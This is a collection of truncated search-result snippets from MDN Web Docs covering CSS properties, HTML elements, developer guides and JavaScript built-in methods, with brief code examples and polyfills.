if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
font-style - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
... html <header> <input type="range" id="slant" name="slant" min="-90" max="90" /> <label for="slant">slant</label> </header> <div class="container"> <p class="sample">...it would not be wonderful to meet a megalosaurus, forty feet long or so, waddling like an elephantine lizard up holborn hill.</p> </div> css /* amstelvaralpha-vf is created by david berlow (https://github.com/typenetwork/amstelvar) and is used here under the terms of its license: https://github.com/typenetwork/amstelvar/blob/master/ofl.txt */ @font-face { src: url('https://mdn.mozillademos.org/files/16044/amstelvaralpha-vf.ttf'); font-family:'amstelvaralpha'; font-style: normal; } label { font: 1rem monospace; } .container { max-height: 150px; overflow: scroll; } .sample ...
font-variant-caps - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
font-variant-numeric - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
...| oldstyle-nums ]<numeric-spacing-values> = [ proportional-nums | tabular-nums ]<numeric-fraction-values> = [ diagonal-fractions | stacked-fractions ] examples setting ordinal numeric forms html <p class="ordinal">1st, 2nd, 3rd, 4th, 5th</p> css /* this example uses the source sans pro opentype font, developed by adobe and used here under the terms of the sil open font license, version 1.1: http://scripts.sil.org/cms/scripts/page.php?item_id=ofl_web */ @font-face { font-family: "source sans pro"; font-style: normal; font-weight: 400; src: url("https://mdn.mozillademos.org/files/15757/sourcesanspro-regular.otf") format("opentype"); } .ordinal { font-variant-numeric: ordinal; font-family: "source sans pro"; } result specifications specification status com...
font-variant - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
font-weight - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
... html <header> <input type="range" id="weight" name="weight" min="1" max="1000" /> <label for="weight">weight</label> </header> <div class="container"> <p class="sample">...it would not be wonderful to meet a megalosaurus, forty feet long or so, waddling like an elephantine lizard up holborn hill.</p> </div> css /* mutator sans is created by letterror (https://github.com/letterror/mutatorsans) and is used here under the terms of its license: https://github.com/letterror/mutatorsans/blob/master/license */ @font-face { src: url('https://mdn.mozillademos.org/files/16011/mutatorsans.ttf'); font-family:'mutatorsans'; font-style: normal; } label { font: 1rem monospace; white-space: nowrap; } .container { max-height: 150px; overflow-y: aut...
letter-spacing - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
list-style-image - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
... formal definition initial valuenoneapplies tolist itemsinheritedyescomputed valuenone or the image with its uri made absoluteanimation typediscrete formal syntax <url> | none examples setting list item images html <ul> <li>item 1</li> <li>item 2</li> </ul> css ul { list-style-image: url("https://mdn.mozillademos.org/files/11981/starsolid.gif"); } result specifications specification status comment css lists module level 3the definition of 'list-style-image' in that specification.
list-style-position - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
...tem 2-3</li> <li>list item 2-4</li> </ul> <ul class="inside-img">list 3 <li>list item 3-1</li> <li>list item 3-2</li> <li>list item 3-3</li> <li>list item 3-4</li> </ul> css .inside { list-style-position: inside; list-style-type: square; } .outside { list-style-position: outside; list-style-type: circle; } .inside-img { list-style-position: inside; list-style-image: url("https://mdn.mozillademos.org/files/11979/starsolid.gif"); } result specifications specification status comment css lists module level 3the definition of 'list-style-position' in that specification.
mask-border - CSS: Cascading Style Sheets
div { width: 200px; background-color: lavender; border: 18px solid salmon; padding: 10px; /* prefixed longhand properties currently supported in chromium -webkit-mask-box-image-source: url(https://udn.realityripple.com/samples/2d/fd08a3134c.png); -webkit-mask-box-image-slice: 30 fill; -webkit-mask-box-image-width: 20px; -webkit-mask-box-image-repeat: round; -webkit-mask-box-image-outset: 1px; */ /* prefixed shorthand property currently supported in chromium */ -webkit-mask-box-image: url("https://udn.realityripple.com/samples/2d/fd08a3134c.png") /* source */ 30 ...
...fill / /* slice */ 20px / /* width */ 1px /* outset */ round; /* repeat */ /* updated standard shorthand property, not supported anywhere yet */ mask-border: url("https://udn.realityripple.com/samples/2d/fd08a3134c.png") /* source */ 30 fill / /* slice */ 20px / /* width */ 1px /* outset */ round; /* repeat */ } result specifications specification status comment css masking module level 1the definition of 'mask-border' in that specification.
mask-type - CSS: Cascading Style Sheets
WebCSSmask-type
formal definition initial valueluminanceapplies to<mask> elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax luminance | alpha examples setting an alpha mask html <div class="redsquare"></div> <svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="0" height="0"> <defs> <mask id="m" maskcontentunits="objectboundingbox" style="mask-type:alpha"> <rect x=".1" y=".1" width=".8" height=".8" fill="red" fill-opacity="0.7"/> </mask> </defs> </svg> css .redsquare { height: 100px; width: 100px; background-color: rgb(128, 128, 128); ...
... border: solid 1px black; mask: url("#m"); } result setting a luminance mask html <div class="redsquare"></div> <svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="0" height="0"> <defs> <mask id="m" maskcontentunits="objectboundingbox" style="mask-type:luminance"> <rect x=".1" y=".1" width=".8" height=".8" fill="red" fill-opacity="0.7"/> </mask> </defs> </svg> css .redsquare { height: 100px; width: 100px; background-color: rgb(128, 128, 128); border: solid 1px black; mask: url("#m"); mask-type:luminance; } result specifications specification status comment css masking module level 1the definition of 'mask-type' in that specification.
max-height - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
max-width - CSS: Cascading Style Sheets
WebCSSmax-width
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
min-width - CSS: Cascading Style Sheets
WebCSSmin-width
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
mix-blend-mode - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
outline-color - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
outline-offset - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
paint() - CSS: Cascading Style Sheets
WebCSSpaint
item 3</li> <li>item 4</li> <li>item 5</li> <li>item 6</li> <li>item 7</li> <li>item 8</li> <li>item 9</li> <li>item 10</li> <li>item 11</li> <li>item 12</li> <li>item 13</li> <li>item 14</li> <li>item 15</li> <li>item 16</li> <li>item 17</li> <li>item 18</li> <li>item 19</li> <li>item 20</li> </ul> css.paintworklet.addmodule('https://mdn.github.io/houdini-examples/csspaint/intro/worklets/hilite.js'); li { --boxcolor: hsla(55, 90%, 60%, 1.0); background-image: paint(hollowhighlights, stroke, 2px); } li:nth-of-type(3n) { --boxcolor: hsla(155, 90%, 60%, 1.0); background-image: paint(hollowhighlights, filled, 3px); } li:nth-of-type(3n+1) { --boxcolor: hsla(255, 90%, 60%, 1.0); background-image: paint(hol...
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
quotes - CSS: Cascading Style Sheets
WebCSSquotes
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
right - CSS: Cascading Style Sheets
WebCSSright
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
DOM onevent handlers - Developer guides
non-element objects event handlers can also be set with properties on non-element objects that generate events, like window, document, xmlhttprequest, and others.
... for example, for the progress event on instances of xmlhttprequest: const xhr = new xmlhttprequest(); xhr.onprogress = function() { … }; html onevent attributes html elements have attributes named onevent which can be used to register a handler for an event directly within the html code.
Making content editable - Developer guides
you can enable them by setting the preferences shown below using about:config: user_pref("capability.policy.policynames", "allowclipboard"); user_pref("capability.policy.allowclipboard.sites", "https://www.mozilla.org"); user_pref("capability.policy.allowclipboard.clipboard.cutcopy", "allaccess"); user_pref("capability.policy.allowclipboard.clipboard.paste", "allaccess"); example: a simple but complete rich text editor <!doctype html> <html> <head> <title>rich text editor</title> <script type="text/javascript"> var odoc, sdeftxt; function initdoc() { odoc = document.getelementbyid("text...
...6n5ceads=" /> <img class="intlink" title="add indentation" onclick="formatdoc('indent');" src="data:image/gif;base64,r0lgodlhfgawaomiaaaaadljwl9vj1ie35gjuaezxtdv3nha7p///////////////////////////////yh5baeaaagalaaaaaawabyaaaq7emljq704650b/x8gemmpgugwhjnzxodkso5oquogo5khbwwesymqscrdhu9voyk5tm9zspfsr9gsjwiaow==" /> <img class="intlink" title="hyperlink" onclick="var slnk=prompt('write the url here','http:\/\/');if(slnk&&slnk!=''&&slnk!='http://'){formatdoc('createlink',slnk)}" src="data:image/gif;base64,r0lgodlhfgawaomkab1chdrly19vj3morpgjuaezxrcztb/i19ha7pv8/f///////////////////////yh5baekaa8alaaaaaawabyaaary8mljq7046827/2byiqvhhg9pegvgiklydeuby/rle4fqf4dcj2aqxaijqdcwqcaebwiioemqbgsafhdagghgi9xghahmnoszgjkjei33uesv2+/4vd4taqa7" /> <img class="intlink" title="cut" onclick="formatdoc('cut');" src=...
Using HTML sections and outlines - Developer guides
could also add an explicit <noscript> element inside the <head> element to warn any users that have javascript disabled that your page relies on javascript: <noscript> <p><strong>this web page requires javascript to be enabled.</strong></p> <p>javascript is an object-oriented computer programming language commonly used to create interactive effects within web browsers.</p> <p><a href="https://goo.gl/koeeaj">how to enable javascript?</a></p> </noscript> this leads to the following code to allow the support of the html5 sections and headings elements in non-html5 browsers, even for internet explorer (8 and older), with a proper fallback for the case where this latter browser is configured not to use scripting: <!--[if lt ie 9]> <script> document.createelement("article"); ...
...reateelement("header"); document.createelement("nav"); document.createelement("section"); document.createelement("time"); </script> <![endif]--> <noscript> <p><strong>this web page requires javascript to be enabled.</strong></p> <p>javascript is an object-oriented computer programming language commonly used to create interactive effects within web browsers.</p> <p><a href="https://goo.gl/koeeaj">how to enable javascript?</a></p> </noscript> note: this code will also cause the html validator to return errors.
XHTML - Developer guides
WebGuideHTMLXHTML
the following example shows an html document and corresponding "xhtml" document, and the accompanying http content-type headers they should be served with.
... html document content-type: text/html <!doctype html> <html lang=en> <head> <meta charset=utf-8> <title>html</title> </head> <body> <p>i am a html document</p> </body> </html> xhtml document content-type: application/xhtml+xml <?xml version="1.0" encoding="utf-8"?> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head> <title>xhtml</title> </head> <body> <p>i am a xhtml document</p> </body> </html> in practice, very few "xhtml" documents are served over the web with a content-type: application/xhtml+xml header.
Printing - Developer guides
open and automatically close a popup window when finished if you want to be able to automatically close a popup window (for example, the printer-friendly version of a document) after the user prints its contents, you can use code like this: <!doctype html> <html> <head> <meta http-equiv="content-type" content="text/html; charset=utf-8" /> <title>javascript window close example </title> <script type="text/javascript"> function popuponclick() { my_window = window.open('', 'mywindow', 'status=1,width=350,height=150'); my_window.document.write('<html><head><title>print me</title></head>'); my_window.document.write('<body onafterprint="self.close()">'); ...
...the following is a possible example which will print a file named externalpage.html: <!doctype html> <html> <head> <meta http-equiv="content-type" content="text/html; charset=utf-8" /> <title>mdn example</title> <script type="text/javascript"> function closeprint () { document.body.removechild(this.__container__); } function setprint () { this.contentwindow.__container__ = this; this.contentwindow.onbeforeunload = closeprint; this.contentwindow.onafterprint = closeprint; this.contentwindow.focus(); // require...
DASH Adaptive Streaming for HTML 5 Video - HTML: Hypertext Markup Language
dynamic adaptive streaming over http (dash) is an adaptive streaming protocol.
...dash works via http, so as long as your http server supports byte range requests, and it's set up to serve .mpd files with mimetype="application/dash+xml", then you're all set.
<address>: The Contact Address element - HTML: Hypertext Markup Language
WebHTMLElementaddress
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
... <address> you can contact author at <a href="http://www.somedomain.com/contact"> www.somedomain.com</a>.<br> if you see any bugs, please <a href="mailto:webmaster@somedomain.com"> contact webmaster</a>.<br> you may also want to visit us:<br> mozilla foundation<br> 331 e evelyn ave<br> mountain view, ca 94041<br> usa </address> result although it renders text with the same default styling as the <i> or <em> ...
<blockquote>: The Block Quotation element - HTML: Hypertext Markup Language
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
... <blockquote cite="https://tools.ietf.org/html/rfc1149"> <p>avian carriers can provide high delay, low throughput, and low altitude service.
<figure>: The Figure with Optional Caption element - HTML: Hypertext Markup Language
WebHTMLElementfigure
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
... examples images <!-- just an image --> <figure> <img src="https://udn.realityripple.com/samples/6c/98485e5d8a.png" alt="the beautiful mdn logo."> </figure> <!-- image with a caption --> <figure> <img src="https://udn.realityripple.com/samples/6c/98485e5d8a.png" alt="the beautiful mdn logo."> <figcaption>mdn logo</figcaption> </figure> code snippets <figure> <figcaption>get browser details using <code>navigator</code>.</figcaption> <pre> f...
<form> - HTML: Hypertext Markup Language
WebHTMLElementform
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
... method the http method to submit the form with.
<header> - HTML: Hypertext Markup Language
WebHTMLElementheader
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
... examples page header <header> <h1>main page title</h1> <img src="mdn-logo-sm.png" alt="mdn logo"> </header> article header <article> <header> <h2>the planet earth</h2> <p>posted on wednesday, <time datetime="2017-10-04">4 october 2017</time> by jane smith</p> </header> <p>we live on a planet that's blue and green, with so many things still unseen.</p> <p><a href="https://janesmith.com/the-planet-earth/">continue reading....</a></p> </article> specifications specification status comment html living standardthe definition of '<header>' in that specification.
<input type="date"> - HTML: Hypertext Markup Language
WebHTMLElementinputdate
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
... basic uses of date the simplest use of <input type="date"> involves one <input> combined with its <label>, as seen below: <form action="https://example.com"> <label> enter your birthday: <input type="date" name="bday"> </label> <p><button>submit</button></p> </form> this html submits the entered date under the key bday to https://example.com — resulting in a url like https://example.com/?bday=1955-06-08.
<input type="datetime-local"> - HTML: Hypertext Markup Language
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
... note: also bear in mind that if such data is submitted via http get, the colon character will need to be escaped for inclusion in the url parameters, e.g.
<input type="file"> - HTML: Hypertext Markup Language
WebHTMLElementinputfile
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
... // https://developer.mozilla.org/docs/web/media/formats/image_types const filetypes = [ "image/apng", "image/bmp", "image/gif", "image/jpeg", "image/pjpeg", "image/png", "image/svg+xml", "image/tiff", "image/webp", "image/x-icon" ]; function validfiletype(file) { return filetypes.includes(file.type); } the returnfilesize() function takes a number (of bytes, taken from the current ...
<input type="password"> - HTML: Hypertext Markup Language
WebHTMLElementinputpassword
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
...login forms) should be served over https; many browsers now implement mechanisms to warn against insecure login forms; see insecure passwords.
<map> - HTML: Hypertext Markup Language
WebHTMLElementmap
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
... examples <map name="primary"> <area shape="circle" coords="75,75,75" href="left.html"> <area shape="circle" coords="275,75,75" href="right.html"> </map> <img usemap="#primary" src="https://udn.realityripple.com/samples/6a/7e559101b3.png" alt="350 x 150 pic"> result expected live example output the live example above should appear similar to the following images (when using your keyboard tab key): for the left.html link: for the right.html link specifications specification status comment html living standardthe definition of '<map>' in th...
<q>: The Inline Quotation element - HTML: Hypertext Markup Language
WebHTMLElementq
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
... example <p>according to mozilla's website, <q cite="https://www.mozilla.org/about/history/details/">firefox 1.0 was released in 2004 and became a big success.</q></p> specifications specification status comment html living standardthe definition of '<q>' in that specification.
<style>: The Style Information element - HTML: Hypertext Markup Language
WebHTMLElementstyle
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
... this attribute may be re-introduced in the future per https://github.com/w3c/csswg-drafts/issues/3547.
<textarea> - HTML: Hypertext Markup Language
WebHTMLElementtextarea
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
<wbr> - HTML: Hypertext Markup Language
WebHTMLElementwbr
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
... <p>http://this<wbr>.is<wbr>.a<wbr>.really<wbr>.long<wbr>.example<wbr>.com/with<wbr>/deeper<wbr>/level<wbr>/pages<wbr>/deeper<wbr>/level<wbr>/pages<wbr>/deeper<wbr>/level<wbr>/pages<wbr>/deeper<wbr>/level<wbr>/pages<wbr>/deeper<wbr>/level<wbr>/pages</p> specifications specification status comment html living standardthe definition of '<wbr>' in that specification.
contextmenu - HTML: Hypertext Markup Language
tions from your context menu </li> <menu type="context" id="changefont"> <menuitem label="increase font" onclick="incfont()"></menuitem> <menuitem label="decrease font" onclick="decfont()"></menuitem> </menu> <li contextmenu="changeimage" id="changeimage"> on the image below, you can fire the "change image" action in your context menu.<br /> <img src="https://udn.realityripple.com/samples/a2/b601bdfc0c.png" contextmenu="changeimage" id="promobutton" /> <menu type="context" id="changeimage"> <menuitem label="change image" onclick="changeimage()"></menuitem> </menu> </li> </ol> </body> javascript function shareviatwitter() { window.open("https://twitter.com/intent/tweet?text=" + "hurray!
... i am learning contextmenu from mdn via mozilla"); } function shareviafacebook() { window.open("https://facebook.com/sharer/sharer.php?u=" + "https://developer.mozilla.org/en/html/element/using_html_context_menus"); } function incfont() { document.getelementbyid("fontsizing").style.fontsize = "larger"; } function decfont() { document.getelementbyid("fontsizing").style.fontsize = "smaller"; } function changeimage() { var index = math.ceil(math.random() * 39 + 1); document.images[0].src = "https://developer.mozilla.org/media/img/promote/promobutton_mdn" + index + ".png"; } result specifications specification status comment html 5.1the definition of 'contextmenu' in that specification.
itemid - HTML: Hypertext Markup Language
example html <dl itemscope itemtype="http://vocab.example.net/book" itemid="urn:isbn:0-330-34032-8"> <dt>title <dd itemprop="title">the reality dysfunction <dt>author <dd itemprop="author">peter f.
... hamilton <dt>publication date <dd><time itemprop="pubdate" datetime="1996-01-26">26 january 1996</time> </dl> structured data itemscope itemtype: itemid http://vocab.example.net/book: urn:isbn:0-330-34032-8 itemprop title the reality dysfunction itemprop author peter f.
HTML documentation index - HTML: Hypertext Markup Language
WebHTMLIndex
5 dash adaptive streaming for html 5 video guide, html, html5 dynamic adaptive streaming over http (dash) is an adaptive streaming protocol.
... 157 <meta>: the document-level metadata element document, element, html, html charset, html document metadata, reference, web, charset, http-equiv, metadata the html <meta> element represents metadata that cannot be represented by other html meta-related elements, like <base>, <link>, <script>, <style> or <title>.
SyntaxError: Using //@ to indicate sourceURL pragmas is deprecated. Use //# instead - JavaScript
//@ sourcemappingurl=http://example.com/path/to/your/sourcemap.map standard syntax use the "#" sign instead.
... //# sourcemappingurl=http://example.com/path/to/your/sourcemap.map or, alternatively, you can set a sourcemap header to your javascript file to avoid having a comment at all: sourcemap: /path/to/file.js.map ...
Array.prototype.reduce() - JavaScript
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
... polyfill // production steps of ecma-262, edition 5, 15.4.4.21 // reference: http://es5.github.io/#x15.4.4.21 // https://tc39.github.io/ecma262/#sec-array.prototype.reduce if (!array.prototype.reduce) { object.defineproperty(array.prototype, 'reduce', { value: function(callback /*, initialvalue*/) { if (this === null) { throw new typeerror( 'array.prototype.reduce ' + 'called on null or undefined' ); } if (typeof callback !== 'function...
Array.prototype.find() - JavaScript
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
...however, you can polyfill array.prototype.find with the following snippet: // https://tc39.github.io/ecma262/#sec-array.prototype.find if (!array.prototype.find) { object.defineproperty(array.prototype, 'find', { value: function(predicate) { // 1.
Array.prototype.findIndex() - JavaScript
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
... polyfill // https://tc39.github.io/ecma262/#sec-array.prototype.findindex if (!array.prototype.findindex) { object.defineproperty(array.prototype, 'findindex', { value: function(predicate) { // 1.
Array.prototype.flat() - JavaScript
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
...for reference, please check: https://discourse.mozilla.org/t/mdn-rfc-001-mdn-wiki-pages-shouldnt-be-a-distributor-of-polyfills/24500 examples flattening nested arrays const arr1 = [1, 2, [3, 4]]; arr1.flat(); // [1, 2, 3, 4] const arr2 = [1, 2, [3, 4, [5, 6]]]; arr2.flat(); // [1, 2, 3, 4, [5, 6]] const arr3 = [1, 2, [3, 4, [5, 6]]]; arr3.flat(2); // [1, 2, 3, 4, 5, 6] const arr4 = [1, 2, [3, 4, [5, 6, [7, 8, [9, 10]]]]]; ...
Array.prototype.flatMap() - JavaScript
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
...for reference, please check: https://discourse.mozilla.org/t/mdn-rfc-001-mdn-wiki-pages-shouldnt-be-a-distributor-of-polyfills/24500 examples map() and flatmap() let arr1 = [1, 2, 3, 4]; arr1.map(x => [x * 2]); // [[2], [4], [6], [8]] arr1.flatmap(x => [x * 2]); // [2, 4, 6, 8] // only one level is flattened arr1.flatmap(x => [[x * 2]]); // [[2], [4], [6], [8]] while the above could have been achieved by using map itself...
Array.prototype.includes() - JavaScript
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
...for more details and discussion, see https://discourse.mozilla.org/t/mdn-rfc-001-mdn-wiki-pages-shouldnt-be-a-distributor-of-polyfills/24500 specifications specification ecmascript (ecma-262)the definition of 'array.prototype.includes' in that specification.
Array.prototype.indexOf() - JavaScript
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
... // production steps of ecma-262, edition 5, 15.4.4.14 // reference: http://es5.github.io/#x15.4.4.14 if (!array.prototype.indexof) { array.prototype.indexof = function(searchelement, fromindex) { "use strict"; var k; // 1.
Array.prototype.lastIndexOf() - JavaScript
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
... // production steps of ecma-262, edition 5, 15.4.4.15 // reference: http://es5.github.io/#x15.4.4.15 if (!array.prototype.lastindexof) { array.prototype.lastindexof = function(searchelement /*, fromindex*/) { 'use strict'; if (this === void 0 || this === null) { throw new typeerror(); } var n, k, t = object(this), len = t.length >>> 0; if (len === 0) { return -1; } n = len - 1; if (arguments.length > 1) { ...
Array.prototype.some() - JavaScript
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
... // production steps of ecma-262, edition 5, 15.4.4.17 // reference: http://es5.github.io/#x15.4.4.17 if (!array.prototype.some) { array.prototype.some = function(fun, thisarg) { 'use strict'; if (this == null) { throw new typeerror('array.prototype.some called on null or undefined'); } if (typeof fun !== 'function') { throw new typeerror(); } var t = object(this); var len = t.length >>> 0; for (var i = 0; i < len; i++)...
Function.prototype.bind() - JavaScript
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
... if it's absolutely necessary and performance is not a concern, a far slower (but more specification-compliant solution) can be found at https://github.com/raynos/function-bind.
JSON.parse() - JavaScript
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
... polyfill // from https://github.com/douglascrockford/json-js/blob/master/json2.js if (typeof json.parse !== "function") { var rx_one = /^[\],:{}\s]*$/; var rx_two = /\\(?:["\\\/bfnrt]|u[0-9a-fa-f]{4})/g; var rx_three = /"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[ee][+\-]?\d+)?/g; var rx_four = /(?:^|:|,)(?:\s*\[)+/g; var rx_dangerous = /[\u0000\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200...
Object.fromEntries() - JavaScript
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
...for more details, refer to: https://discourse.mozilla.org/t/mdn-rfc-001-mdn-wiki-pages-shouldnt-be-a-distributor-of-polyfills/24500 specifications specification ecmascript (ecma-262)the definition of 'object.fromentries' in that specification.
Promise() constructor - JavaScript
if you'd like to contribute to the interactive demo project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
...ve, reject) => { // do something asynchronous which eventually calls either: // // resolve(somevalue) // fulfilled // or // reject("failure reason") // rejected }); making functions return a promise to provide a function with promise functionality, have it return a promise: function myasyncfunction(url) { return new promise((resolve, reject) => { const xhr = new xmlhttprequest() xhr.open("get", url) xhr.onload = () => resolve(xhr.responsetext) xhr.onerror = () => reject(xhr.statustext) xhr.send() }); } specifications specification ecmascript (ecma-262)the definition of 'promise constructor' in that specification.
String.fromCodePoint() - JavaScript
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
...ases // the (codepoint>>>0) === codepoint clause handles decimals and negatives if (!(codepoint < 0x10ffff && (codepoint>>>0) === codepoint)) throw rangeerror("invalid code point: " + codepoint); if (codepoint <= 0xffff) { // bmp code point codelen = codeunits.push(codepoint); } else { // astral code point; split in surrogate halves // https://mathiasbynens.be/notes/javascript-encoding#surrogate-formulae codepoint -= 0x10000; codelen = codeunits.push( (codepoint >> 10) + 0xd800, // highsurrogate (codepoint % 0x400) + 0xdc00 // lowsurrogate ); } if (codelen >= 0x3fff) { result += stringfromcharcode.apply(null, codeunits); codeunits.length = 0; ...
String.prototype.trimStart() - JavaScript
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
...in some engines this means: string.prototype.trimleft.name === "trimstart"; polyfill //https://github.com/fabiovergani/js-polyfill_string-trimstart (function(w){ var string=w.string, proto=string.prototype; (function(o,p){ if(p in o?o[p]?false:true:true){ var r=/^\s+/; o[p]=o.trimleft||function(){ return this.replace(r,'') } } })(proto,'trimstart'); })(window); /* es6: (w=>{ const string=w.string, p...
TypedArray.prototype.fill() - JavaScript
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
... // https://tc39.github.io/ecma262/#sec-%typedarray%.prototype.fill if (!uint8array.prototype.fill) { uint8array.prototype.fill = array.prototype.fill; } examples using fill new uint8array([1, 2, 3]).fill(4); // uint8array [4, 4, 4] new uint8array([1, 2, 3]).fill(4, 1); // uint8array [1, 4, 4] new uint8array([1, 2, 3]).fill(4, 1, 2); // uint8array [1, 4, 3] new uint8array([1, 2, 3]).f...
TypedArray.prototype.join() - JavaScript
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
... // https://tc39.github.io/ecma262/#sec-%typedarray%.prototype.join if (!uint8array.prototype.join) { object.defineproperty(uint8array.prototype, 'join', { value: array.prototype.join }); } if you need to support truly obsolete javascript engines that don't support object.defineproperty, it's best not to polyfill array.prototype methods at all, as you can't make them non-enumerable.
TypedArray.prototype.some() - JavaScript
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
... // https://tc39.github.io/ecma262/#sec-%typedarray%.prototype.some if (!uint8array.prototype.some) { object.defineproperty(uint8array.prototype, 'some', { value: array.prototype.some }); } if you need to support truly obsolete javascript engines that don't support object.defineproperty, it's best not to polyfill array.prototype methods at all, as you can't make them non-enumerable.
decodeURI() - JavaScript
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
... examples decoding a cyrillic url decodeuri('https://developer.mozilla.org/ru/docs/javascript_%d1%88%d0%b5%d0%bb%d0%bb%d1%8b'); // "https://developer.mozilla.org/ru/docs/javascript_шеллы" catching errors try { var a = decodeuri('%e0%a4%a'); } catch(e) { console.error(e); } // urierror: malformed uri sequence specifications specification ecmascript (ecma-262)the definition of 'decodeuri' in that specification.
Destructuring assignment - JavaScript
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
